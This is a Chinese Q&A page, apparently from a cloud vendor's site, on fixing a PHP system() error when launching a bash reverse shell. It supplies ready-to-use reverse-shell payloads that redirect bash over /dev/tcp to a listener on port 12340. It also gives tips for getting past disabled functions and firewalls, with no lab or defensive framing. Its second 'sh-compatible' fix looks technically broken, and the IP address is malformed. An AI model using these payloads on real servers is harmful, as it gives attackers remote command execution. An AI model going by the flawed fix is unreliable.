You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

PHP中system()执行bash反向shell命令报Syntax error: Bad fd number如何解决?

解决PHP system()执行反向shell命令报Syntax error: Bad fd number的问题

这个问题的核心原因很明确:PHP的system()函数默认调用系统的sh shell,而你使用的反向shell语法是bash专属的,sh并不支持这种写法。

你在终端直接执行没问题,是因为终端默认用的是bash,它能识别>&这种合并文件描述符的语法;但system()默认走sh,sh不认识>&,所以就抛出了"Syntax error: Bad fd number"的错误。

下面给你两种可行的解决方案:

方案1:强制用bash执行完整命令

直接把你的反向shell命令作为参数传给bash -c,让system()调用sh去启动bash,再由bash处理专属语法。注意PHP里的引号嵌套要正确:

system("bash -c \"bash -i >& /dev/tcp/127.0.01/12340 0>&1\"");

或者用单引号嵌套(避免转义双引号):

system('bash -c \'bash -i >& /dev/tcp/127.0.01/12340 0>&1\'');

方案2:改用sh兼容的重定向语法

把bash专属的>&改成sh支持的分开重定向写法,同样能实现反向shell的效果:

system("bash -i > /dev/tcp/127.0.01/12340 2>&1 < /dev/tcp/127.0.01/12340");

这里的逻辑是:

  • > /dev/tcp/...:把标准输出重定向到TCP连接
  • 2>&1:把标准错误输出重定向到和标准输出同一个位置
  • < /dev/tcp/...:把标准输入从TCP连接读取

额外注意事项

如果解决了语法错误后还是连不上,还要检查:

  • PHP的disable_functions配置里有没有禁用system函数
  • 服务器的防火墙是否开放了12340端口
  • 你的监听端(比如nc)是否已经在127.0.01:12340上正常监听

内容的提问来源于stack exchange,提问作者user9514006

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.20 11:08:16